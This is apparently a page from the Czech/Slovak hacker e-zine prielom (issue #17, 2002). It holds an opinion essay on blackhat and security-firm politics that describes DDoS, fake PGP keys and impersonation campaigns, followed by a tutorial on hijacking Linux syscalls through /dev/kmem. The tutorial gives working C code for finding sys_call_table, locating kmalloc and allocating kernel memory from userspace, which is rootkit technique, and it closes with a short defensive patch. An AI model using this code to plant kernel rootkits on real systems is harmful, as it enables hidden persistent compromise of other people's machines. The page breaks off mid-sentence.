    taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)



    na uvod co to tedy znamena, nalepkou "whitehat" se povetsinou oznacuji lidi co
    security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne ...
    ;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite
    zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je
    nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke
    vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne
    veci se securityfocus, nasli se "security experti" jako iss (www.iss.net), o tom dale ;-) nuze
    ...



    security firmy

    vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi
    cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala
    natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez
    programatori. vzniklo spousty "security labu", jako hub po desti viz treba iss. u
    iss je treba se na chvili zastavit - je to velice zajimava corporation jakozto
    nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne
    pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:



    remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) - nalezen a uspesne exploitovan blackhat
    slozkou skupiny
    teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a
    spousta lidi "nasla" bug v php.


    apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html),
    (opet teso - existuje funkcni exploit na solaris,
    linux a *bsd, pro ty co nemohou spat - pouziva se hezka kombinace signalu a
    scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je
    ekvivalent memmove() na *lsd) - tento bug byl po dobu asi pul roku privatni
    zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se
    zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne
    nikdo netusi) a dalsi "profesionalni" security advisory od iss je na svete. v tuto
    chvili iss inkasuje obrovske sumy za sve "enterprise security solutions" a v pojmu
    "ty odbornici na sekjurity" jsou takrka fenomemem.


    openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) - nalezeno nekolika blackhat
    skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene
    nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen
    openbsd.

    bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) - asi rok stara zalezitost jednoho _velice_
    schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani
    nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice
    zajimaveho softu ;-) btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na
    dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss
    je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu
    jednomu "security expertovi" masinu, ktery si toho po nekolika dnech vsimnul (sakra,
    to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane
    masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza
    paketu a z toho uz se dalo relativne usoudit kolik uhodilo.



    neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave
    odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje
    jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci
    nekoho jineho.



    pr0j3kt m4yh3m

    je "odboj" proti tzv. "security expertum", ackoli nekteri lide to berou az moc na smrt
    vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale
    generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze
    blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt
    m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se
    toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a
    whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje
    interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do
    velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se
    masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace,
    coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour
    (a to velice jednoduchym spusobem - stacilo pastnout na #darknet@efnet fake banner
    a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho
    existuje ;-)
    doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich
    konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran
    rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p

    ze je to spatne ? drogy jsou treba taky spatne - ale druha strana fronty to dela taky
    viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha
    (teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl
    bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus!
    (pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den).
    protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf
    konferenci.

    v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou
    velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.




    full disclosure

    neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen
    najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit
    mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste
    s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne
    masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se
    opustilo od stareho postupu jez fungoval ve "starych dobrych casech", tj jeste pred
    nekolika lety - kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval
    vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi,
    pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a
    pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co
    nejvice incidentu a iss melo vysokou klientelu, ale kdovi.



    touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se
    zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele
    definoval "kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k
    tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli". je to tak, hackovani
    je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org,
    stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam - a
    rozhodne to bylo lepsi.



    konec

    tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat.
    nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy
    najdou) co zivi cele to monstrum zvane "security industry" si zacinaji uvedomovat ze
    jsou v podstate manipulovani a ze pachaji vice zla nez dobra.



    ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu
    (krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu
    verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux
    kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p



    mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to
    tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako "security
    experty" jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou
    autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa,
    grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru
    grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj.
    security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von
    treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je
    imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.



    reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo
    zepta.



    poznamka:

    informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka
    ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena
    fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne - jedna se
    jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci
    zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis
    vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na
    komercni security (nejsi nahodou klient securityfocus ? ;-) je zhruba tak o mesic az
    pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p



    sd, sd(at)hysteria.sk


    navrat na obsah

    co ty na to ? board








  • 0000010100000001000001020061730208639989
    maniac
     maniac      30.06.2019 - 19:24:12 (modif: 30.06.2019 - 19:26:19), level: 1, UP   NEW !!CONTENT CHANGED!!


    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #17, 27.02.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





    obsah







    intro



    ked priblizne pred rokom server underground.cz vyhlasil sutaz, ktorej cielom
    bolo najst co najviac programatorskych chyb v dynamicky generovanych
    strankach, ci uz napisanych v php, asp, perle alebo akomkolvek inom jazyku,
    vsetci ucastnici sa istotne dobre zabavali. aspon ja osobne urcite. kedze
    administratori a webmasteri inkriminovanych nepodarkov boli informovani
    (cudovali by ste sa, kolko ludi absolutne ignoruje nastavenie povinnych
    mailovych aliasov akym je napriklad postmaster@) a vseobecne povedomie o
    bezpecnosti sa zda byt na lepsej urovni ako v minulosti, dalo by sa ocakavat,
    ze aj zasluhou takejto akcie sa uroven zabezpecenia na slovenskom a ceskom
    internete zlepsi a programatori a admini sa poucia. opak je vsak pravdou.
    namatkovo som si osvedcenou metodou nasiel zopar desiatok webov a musim
    povedat, ze bezpecnostnymi chybami trpi vacsie percento stranok ako pred
    rokom. a to ani nespominam tie z minulorocneho sutazneho blacklistu, velke
    mnozstvo z nich je stale v povodnom stave. este viac zarazajucim faktom je
    vsak to, ze na maily, v ktorych som upozornoval niekolkych webmasterov a
    administratorov deravych webov som nedostal ani jednu jedinu odpoved. vsetky z
    nich este dnes stale trpia tym istym problemom. niektori ludia sa nikdy
    nepoucia...



    mnoho z vas uz bolo skalopevne presvedcenych, ze prielom zmizol z povrchu
    zemskeho. zial, musim vas sklamat, nove cislo je tu a kilobajty z dalsieho si
    uz alokovali svoje miesto na mojom disku. v exhibicii tych, ktori sa
    nehanbili a prispeli do tohto cisla sa objavia temy ako patchovanie linuxoveho
    kernelu on-the-fly (clanok, ktory sme dostali k dispozicii uz skor, medzitym
    stihol vyjst v magazine phrack #58. napriek tomu ho uverejnime, nie kazdy vie
    po anglicky alebo cita phrack). o tom, ako mozu byt webove vyhladavace
    uzitocne sa presvedcili uz ucastnici minulorocnej sutaze, nieco viac sa
    dozviete v dalsom prispevku. o dalsich ludoch, co sa nikdy nepoucia je clanok
    od juraja bednara, mohol by sa tiez volat "na slovensku je to tak". ipsec pre
    mnohych uz davno nie je len pathlaskovou skratkou, ostatni maju sancu
    dozvediet sa zakladne informacie prave tu a teraz. show dnes zakonci johny s
    reportazou, ktora ma ten spravny folklorny nadycho, ak ste neboli na h2k, aspon sa
    pozrite ako to tam vyzeralo. snad zase nabuduce...



    salo, 26.02.02, bratislava







    patchovani linuxoveho /dev/kmem




    "mem is a character device file that is an image of the main memory of
    the computer. it may be used, for example, to examine (and even patch)
    the system."


        -- gnu/linux, mem(4)




    cas od casu si clovek potrebuje trosku pohrat s kernelem. zpravidla k tomu
    slouzi vice ci mene kvalitni kernelovy moduly, kterych uz existuje pekna
    radka. ja se tady zamerim na tema, jak se da upravit za behu kernel bez
    system.map, lkm supportu a jejich pribuznych, jenom ciste pres /dev/kmem. a
    abyste nerekli, ze sem skrt, je k dispozici i ukazka, jak to muze fungovat v
    praxi, kompletni rootkit pro 2.2.x a 2.4.x serie kernelu, vicemene prvni sveho
    druhu. pokud jeste furt nevis "wocogo", bude rozumejsi si trosku pobrowsovat
    kernel, zaklady assembleru a minimalni znalosti jak funguji syscall a
    kernel/user mechanismy jsou nutnosti...



    /dev/kmem



    vsechno, co si tu ukazeme, funguje pres /dev/kmem, coz, jak jiste vsichni
    vime, je virtualni obraz systemu, ktery se chova jako soubor. to znamena,
    muzeme nastavovat pozici pres lseek(), cist/psat pres read()/write() a to je
    asi tak vsechno :). samozrejme, tohle nefunguje jen tak od prirody, musime mit
    pravo zapisovat na zarizeni a proces, ktery open() provadi, musi mit
    CAP_SYS_RAWIO, protoze kernel si tuhle capability nejdriv zkontroluje, nez nam
    dovoli kmem otevrit.



    zmena syscallu



    syscally jsou z pohledu user-levelu (t.j. aplikaci) nejnizsi uroven systemu v
    linuxu, takze ty nas budou zajimat nejvice. jejich adresy jsou ulozeny v
    jedne tabulce (sys_call_table), 256 pointeru, tzn. indexovani cislem syscallu
    v tabulce nam da pointer na handler danyho syscallu.



    priklad v pseudokodu:



    /* ukazka, "hello world" ;-) */

    /* puvodni syscall */
    int (*old_write) (int, char *, int);

    /* new syscall handler */
    new_write(int fd, char *buf, int count) {
    if (fd == 1) { /* stdout ? */
    old_write(fd, "hello world!n", 13);
    return count;
    } else {
    return old_write(fd, buf, count);
    }
    }

    old_write = (void *) sys_call_table[__NR_write]; /* uloz starej */
    sys_call_table[__NR_write] = (ulong) new_write; /* nastav novej */

    /* no, urcite muzeme delat lepsi veci nez zprasit konzoli
    textem "hello world" :) */



    tohle je klasickej scenar vsech moznych lkm rootkitu, tty snifferu/hijackeru
    atd. kde je zaruceno, ze mame importovanou sys_call_table a muzeme s ni
    zachazet podle libovule. v praxi to znamena, ze insmod ji resolvne do import
    sekce modulu. [ create_module() / init_module() ... ]



    sys_call_table bez pouziti lkm



    samozrejme, ve svete neni vsechno tak jednoduche a casto bude kernel
    zkompilovan bez podpory lkm. to znamena zadnej insmod, zadny /proc/ksyms a tak
    dale. kernel v tomto pripade neuchovava zadnou informaci o symbolech
    ... mno, proc taky? na debugovani? od toho je system.map. jenze my adresu
    sys_call_table potrebujeme, jestli chceme neco menit :).



    docela elegantni zpusob muze byt:



    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    struct {
    unsigned short limit;
    unsigned int base;
    } __attribute__ ((packed)) idtr;

    struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
    } __attribute__ ((packed)) idt;

    int kmem;
    void readkmem (void *m,unsigned off,int sz)
    {
    if (lseek(kmem,off,SEEK_SET)!=off) {
    perror("kmem lseek"); exit(2);
    }
    if (read(kmem,m,sz)!=sz) {
    perror("kmem read"); exit(2);
    }
    }

    #define CALLOFF 100 /* precteme 100 bajtu handleru int $0x80*/
    main ()
    {
    unsigned sys_call_off;
    unsigned sct;
    char sc_asm[CALLOFF],*p;

    /* precteme IDTR */
    asm ("sidt %0" : "=m" (idtr));
    printf("idtr base at 0x%Xn",(int)idtr.base);

    /* votevri kmem */
    kmem = open ("/dev/kmem",O_RDONLY);
    if (kmem<0) return 1;

    /* precti IDT pro int $0x80 */
    readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
    sys_call_off = (idt.off2 << 16) | idt.off1;
    printf("idt80: flags=%X sel=%X off=%Xn",
    (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

    /* mame handler, ted budeme hledat neco jako
    call *0xadresa(,%eax,4) */
    readkmem (sc_asm,sys_call_off,CALLOFF);
    p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3);
    sct = *(unsigned*)(p+3);
    if (p) {
    printf ("sys_call_table at 0x%x, call dispatch at 0x%xn",
    sct, p);
    }
    close(kmem);
    }



    jak to funguje? detaily o idt zde rozebirat nebudu, viz. intelacka dokumentace
    :), sidt instrukce se "zepta" procesoru [asm ("sidt %0" : "=m" (idtr));] kde
    je ulozena struktura informaci o idt, z teto struktury dostaneme adresu idt
    deskriptoru pro int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));] z
    toho se pak da uz snadno odvodit vstupni adresa int $0x80 [sys_call_off =
    (idt.off2 << 16) | idt.off1;]



    takze ted vime, kam procesor skace, kdyz nekdo zavola int $0x80. tak se na nej
    podivame bliz:



    [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
    (no debugging symbols found)...(gdb) disass system_call
    Dump of assembler code for function system_call:
    0xc0106bc8 <system_call>: push %eax
    0xc0106bc9 <system_call+1>: cld
    0xc0106bca <system_call+2>: push %es
    0xc0106bcb <system_call+3>: push %ds
    0xc0106bcc <system_call+4>: push %eax
    0xc0106bcd <system_call+5>: push %ebp
    0xc0106bce <system_call+6>: push %edi
    0xc0106bcf <system_call+7>: push %esi
    0xc0106bd0 <system_call+8>: push %edx
    0xc0106bd1 <system_call+9>: push %ecx
    0xc0106bd2 <system_call+10>: push %ebx
    0xc0106bd3 <system_call+11>: mov $0x18,%edx
    0xc0106bd8 <system_call+16>: mov %edx,%ds
    0xc0106bda <system_call+18>: mov %edx,%es
    0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
    0xc0106be1 <system_call+25>: and %esp,%ebx
    0xc0106be3 <system_call+27>: cmp $0x100,%eax
    0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
    0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
    0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
    0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- to je ono
    0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
    0xc0106bff <system_call+55>: nop
    End of assembler dump.
    (gdb) print &sys_call_table
    $1 = (<data variable, no debug info> *) 0xc01e0f18 <-- pointr na sct
    (gdb) x/xw (system_call+44)
    0xc0106bf4 <system_call+44>: 0x188514ff <-- opcode (little endian)
    (gdb)



    (system_call je symbol handleru int $0x80) uz je asi jasne, o co nam pujde,
    staci kdyz budeme hledat [memmem (sc_asm,CALLOFF,"xffx14x85",3);] vypln
    call *0xadresa(%eax,4) .. neprimej skok na adresu v sys_call_table podle cisla
    v eax, strojove by to melo byt:



    0xff 0x14 0x85 0x[addresa]



    nutno poznamenat, ze zde se muze uplatnit o neco vice paranoidni hack, a to
    zmenit vektor int $0x80 primo v idt na nas handler a zachytavat syscally tam,
    jenze to by znamenalo vice assembleru, semafory a takovy ty osklivosti :).



    takze ted vime, kde mame sys_call_table, ted muzeme zmenit adresu nejakeho
    syscallu:



    pseudokod:



    readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
    writekmem(new_write, sct + __NR_write * 4, 4); /* set new */




    presmerovani tabulky syscallu



    v praxi existuji dve metody, jak presmerovat nejaky syscall. bud primo zmenit
    adresu v kernelovej sys_call_table, nebo vytvorit jeji kopii s modifikovanymi
    adresami a prinutit int $0x80 handler aby ji pouzival. my pouzijeme druhou
    metodu, protoze vetsina takzvanych "rootkit detektoru" to moc neprokoukne.



    pseudokod:



    ulong sct = adresa kernelovej sys_call_table[]
    char *p = pointer na int 0x80 instrukci call sct(,eax,4)
    ulong nsct[256] = nova tabulka s modifikovanejma adresama

    readkmem(nsct, sct, 1024); /* precti starou */
    old_write = nsct[__NR_write]; /* zmen syscall(y) */
    nsct[__NR_write] = new_write;
    /* a podstrc handleru nasi adresu :) */
    writekmem((ulong) p+3, nsct, 4);

    /* nutno poznamenat, ze tohle realne nemuze fungovat,
    protoze nemuzeme jentak beztrestne presmerovat neco
    v kernelu do userspace ... */



    vytvorime kopii originalni tabulky [readkmem(nsct, sct,1024);], zmenime
    syscally, ktere nas zajimaji [nsct[__NR_write] = new_write;] a pak zmenime
    jenom argument instrukce call *adresa(%eax,4) primo v handleru int
    $0x80.



    0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
    ~~~~|~~~~~
    |__ tady bude adresa
    nasi (upravene) sct[]



    alokovani pameti v kernelu bez lkm



    dalsi vec, co potrebujeme j,e pamet v kernelu, to znamena nad limitem
    0xc0000000. hodnota 0xc000000 je pomyslna delici cara mezi userspacem a
    kernelem, userspace proces nema zpravidla moznost zapisovat nad tento limit.
    jeste poznamenejme ze tato hranice nemusi byt 0xc0000000, ale cokoli jineho,
    takze je rozumne ji odhadnou za behu (treba z adresy int $0x80 handleru). nuze,
    jak ziskat par stranek pameti nad timto limitem ? podivame se jak to normalni
    kernel dela (/usr/src/linux/kernel/module.c):



    [...]
    void inter_module_register(const char *im_name, struct module *owner,
    const void *userdata)
    {
    struct list_head *tmp;
    struct inter_module_entry *ime, *ime_new;

    if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
    /* Overloaded kernel, not fatal */
    [...]



    hmm, uplne normalni kmalloc, jenze tuto funkci zatim jeste nemuzeme
    zavolat, ponevadz:



    - nezname jeji adresu (viz nize)

    - nezname hodnotu GFP_KERNEL prave bezicihi kernelu

    - nemuzeme volat kernel primo z userspace



    vyhledani kmalloc()



    pokud prece jenom muzeme pouzit LKM, je to jednoduche:



    ulong get_sym(char *n) {
    struct kernel_sym tab[MAX_SYMS];
    int numsyms;
    int i;

    numsyms = get_kernel_syms(NULL);
    if (numsyms > MAX_SYMS || numsyms < 0) return 0;
    get_kernel_syms(tab);
    for (i = 0; i < numsyms; i++) {
    if (!strncmp(n, tab[i].name, strlen(n)))
    return tab[i].value;
    }
    return 0;
    }

    ulong get_kma(ulong pgoff)
    {
    ret = get_sym("kmalloc");
    if (ret) return ret;
    return 0;
    }



    komentar viz `man get_kernel_syms`.



    pokud tady ale lkm neni, nastavaji krusne casy, jedine co nas napadlo
    je takova znouzectnost. prozkoukame .text sekci kernelu a budeme hledat
    vyplne typu:



    push GFP_KERNEL <neco mezi 0-0xffff>
    push size <neco mezi 0-0x1ffff>
    call kmalloc



    vytvorime malou statistiku a funkce ktera nam vyjde jako nejcasteji volana
    bude *mozna* kmalloc :) presnost neni zrovna nejlepsi, zpravidla vychazi tak
    80% nalezu na kmalloc() a 20% na nakej balast okolo, ale je to bez lkm, tak se
    stim da zit :)



    kod:



    /* kmalloc() vyhledavani */
    #define RNUM 1024
    ulong get_kma(ulong pgoff)
    {
    struct { uint a,f,cnt; } rtab[RNUM], *t;
    uint i, a, j, push1, push2;
    uint found = 0, total = 0;
    uchar buf[0x10010], *p;
    int kmem;
    ulong ret;

    /* nez skusime neco bruteforcovat, skusime to nejdrif podobrem */
    ret = get_sym("kmalloc");
    if (ret) return ret;

    /* mno, tak ne, no */
    kmem = open(KMEM_FILE, O_RDONLY, 0);
    if (kmem < 0) return 0;
    for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
    i += 0x10000) {
    if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
    /* prozkoumej blok a hledej push/push/call pattern */
    for (p = buf; p < buf + 0x10000;) {
    switch (*p++) {
    case 0x68:
    push1 = push2;
    push2 = *(unsigned*)p;
    p += 4;
    continue;
    case 0x6a:
    push1 = push2;
    push2 = *p++;
    continue;
    case 0xe8:
    if (push1 && push2 &&
    push1 <= 0xffff &&
    push2 <= 0x1ffff) break;
    default:
    push1 = push2 = 0;
    continue;
    }
    /* mame have push1/push2/call seq; ted adresu */
    a = *(unsigned *) p + i + (p - buf) + 4;
    p += 4;
    total++;
    /* skus najit v tabulce */
    for (j = 0, t = rtab; j < found; j++, t++)
    if (t->a == a && t->f == push1) break;
    if (j < found)
    t->cnt++;
    else
    if (found >= RNUM) {
    return 0;
    }
    else {
    found++;
    t->a = a;
    t->f = push1;
    t->cnt = 1;
    }
    push1 = push2 = 0;
    } /* for (p = buf; ... */
    } /* for (i = (pgoff + 0x100000) ...*/
    close(kmem);
    t = NULL;
    for (j = 0;j < found; j++) /* najdi viteze */
    if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
    if (t) return t->a;
    return 0;
    }



    uvedeny zdrojak si nedela nejak moc velke starosti s exotickejma optionama
    gcc, kod kernelu muze klidne vypadat uplne jinak (trebars kmalloc() jako
    inline :). mohli by sme zvysit presnost hledanim presnych hodnot GFP_KERNEL
    (viz. nize), ale prakticky to neni nutny.



    GFP_KERNEL



    toto je parametr kmalloc(), ktery specifikuje typ pameti, jakou chceme
    alokovat. samozrejme vyvojari kernelu neleni a release od releasu kernelu se
    ta hodnota lehce lisi, coz nam pridelava spoustu potizi, kdyz danou hodnotu
    netrefime a kernel vyblije do klogd peknej dvoustrankovej ooops. zatim to
    resim tak, ze si zistim verzi kernelu a podle toho pouziju danou hodnotu, ale
    nevypada to zrovna nejstastneji. zvlaste s 2.4.7-2.4.9, kde to jednou chodi,
    jednou ne...



    +------------------------------+
    | verze kernelu | GFP_KERNEL |
    +----------------+-------------+
    | 1.0.x .. 2.4.5 | 0x3 |
    +----------------+-------------+
    | 2.4.6 .. 2.4.x | 0x1f0 |
    +----------------+-------------+



    tato tabulka neni presna. vychazi jen z faktu, ze timhle spusobem to vetsinou
    funguje. jsou to hodnoty, ktere muzeme pouzit (btw, pokud si nekdo da
    tu praci a zisti mi hodnoty pro special-kernely od suse, redhatu, slacku atd,
    budu jedine rad, obvzlaste u rady 2.4.x :).



    a tady kod:



    /* uname struc */
    struct un {
    char sysname[65];
    char nodename[65];
    char release[65];
    char version[65];
    char machine[65];
    char domainname[65];
    };

    int get_gfp()
    {
    struct un s;
    uname(&s);
    if ((s.release[0] == '2') && (s.release[2] == '4') &&
    (s.release[4] >= '6' ||
    (s.release[5] >= '0' && s.release[5] <= '9'))) {
    return NEW_GFP;
    }
    return OLD_GFP;
    }



    prepsani syscallu pro alokaci pameti



    Jak uz sem rek, nemuzeme volat kmalloc() primo z userspacu, takze
    pouzijem malej trik:



    1. vemem adresu nejakeho malo pouzivaneho syscallu (IDT -> int 0x80 -> sys_call_table)

    2. udelame malou rutinu, ktera obsahujici call na kmalloc() a vrati adresu alokovane pameti

    3. ulozime si sizeof(nase_rutina) bajtu z kodu naseho malo pouzivaneho syscallu

    4. prepiseme tento syscall nasi rutinou

    5. zavolame tento syscall z userspace pres int $0x80, cimz rutina operuje v kernel space a muze volat kmalloc(), to ucini a vrati nam pointer na pamet

    6. obnovit puvodni kod naseho malo pouzivaneho syscallu



    ta rutina muze vypadat treba takhle:



    struct kma_struc {
    ulong (*kmalloc) (uint, int);
    int size;
    int flags;
    ulong mem;
    } __attribute__ ((packed));

    int our_routine(struct kma_struc *k)
    {
    k->mem = k->kmalloc(k->size, k->flags);
    return 0;
    }



    zde ja primo predam z userspacu strukturu s potrebnymi hodnotami, velikost
    muzeme dat natvrdo, zpravidla staci 32-48 bajtu.



    co dal?

    kdyz tohle vsechno skloubime dohromady, muzeme relativne efektivne vyuzit
    /dev/kmem za ucelem nejake neplechy :). to znamena zjistit int $0x80 handler,
    zjistit sys_call_table, alokovat pamet v kernelu, do ni nakopirovat kod
    handleru nasich syscallu, podstrcit falesnou sys_call_table int $0x80 handleru
    a hotovo.



    na co davat pozor



    - na verze kernelu (myslim tim GFP_KERNEL)

    - hrat si jenom se syscallama, pouzivani struktur kernelu jako task_struct neni rozumny, protoze obsah se meni kernel od kernelu, a mi prece nechceme porad kompilovat :)

    - smp muze obcas delat problemy, taky psat procedury reentrantne, kde to je treba pouzivat zamky



    jak se branit?



    nuze, ted budeme chvili ti hodni. co nam z toho vsecho vyplyva? /dev/kmem se
    prakticky rovna lkm, akorat je to trosku komplikovanejsi. pokud chceme zamezit
    pripadnym h4x0rum zneuzivanim tyhle techniky, muzeme skusit tenhle patch:



    --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
    +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
    @@ -49,6 +51,8 @@
    const char * buf, size_t count, loff_t *ppos)
    {
    ssize_t written;
    + /* disable kmem write */
    + return -EPERM;

    written = 0;
    #if defined(__sparc__) || defined(__mc68000__)



    kterej zaruci, ze z /dev/kmem pujde jen cist, mozna to spusobi urcitou
    nekompatibilitu s nejakyma prehistorickyma utils... nezakompilovat podporu pro
    lkm je samozrejmosti, jinak to vsechno ztraci smysl :).



    odkazy



    [1]
    silvio cesare's homepage, spousta informaci o podobnych vecech


    [2] silvio's article, article primo o kernel patching (se system.map)


    [3] quantumg's homepage, zajimave veci jako viry pod linux


    [4] "abuse of the linux kernel for fun and profit" zaklady lkm :)


    [5] "(nearly) complete linux loadable kernel modules. the definitive guide for hackers, virus coders and system administrators."


    [6] "indetectable linux kernel modules" by spacewalker, idea implantovani sys_call_table primo do int $0x80 handleru


    [7] suckit - pro deti na hrani - ia32 2.2.x/2.4.x rootkit vyuzivajici tuhle techniku, v soucasnej dobe trosku out-of-date



    sd, sd(at)sf.cz



    navrat na obsah

    co ty na to ? board





    utoky, utoky, ach tie utoky



    koordinacne centrum
    cert odhaduje, ze pocet
    utokov na pocitacove systemy v roku 2001 prekroci hodnotu 40000, co je
    dvojnasobok poctu incidentov hlasenych minuly rok. pravdepodobne pojde o
